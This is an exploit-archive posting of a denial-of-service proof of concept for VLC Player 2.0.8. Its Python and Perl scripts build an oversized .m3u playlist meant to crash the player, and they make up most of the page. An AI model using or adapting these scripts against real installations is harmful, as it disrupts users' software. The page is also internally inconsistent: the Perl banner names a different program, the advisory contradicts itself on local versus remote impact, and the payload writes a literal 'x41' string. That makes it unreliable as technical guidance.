Home / exploits VLC Player 2.0.8 <= Local Crash PoC
Posted on 20 August 2013
<pre># Exploit Title: VLC Player 2.0.8 <= Local Crash PoC # Vendor URI: http://www.videolan.org/vlc/ # Vendor Description: # VLC is a free and open source cross-platform multimedia player # and framework that plays most multimedia files as well as DVD, # Audio CD, VCD, and various streaming protocols. # Tested on: [ Windows 7] VLC Player is prone to a remote denial-of-service vulnerability. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition. VLC Player 2.0.8 is vulnerable; other versions may also be affected. # !/usr/bin/python header="http://" poc= "x41" * 50000 file = open("asesino04.m3u","w") file.write(header+poc) file.close() ------------------- #!/usr/bin/perl system("title The Black Devils"); system("color 1e"); system("cls"); print " "; print " |=======================================================| "; print " |= [!] Name : Easy Icon Maker Version =| "; print " |= [!] Exploit : Crash Exploit =| "; print " |= [!] Author : The Black Devils =| "; print " |= [!] Mail: mr.k4rizma(at)gmail(dot)com =| "; print " |=======================================================| "; sleep(2); print " "; # Creating ... my $header="http://" ; my $PoC = "x41" x 50000 ; open(file , ">", "inj3ct0rs.m3u"); print file $PoC; print " [+] File successfully created! " or die print " [-] OupsS! File is Not Created !! "; close(file); # Contact : ------------------ # Fane Page : www.facebook.com/Th3.Black.D3Vils # Youtube : www.youtube.com/user/Th3BlackDevils # Facebook : www.facebook.com/DevilsDz # Email : mr.k4rizma@gmail.com </pre>
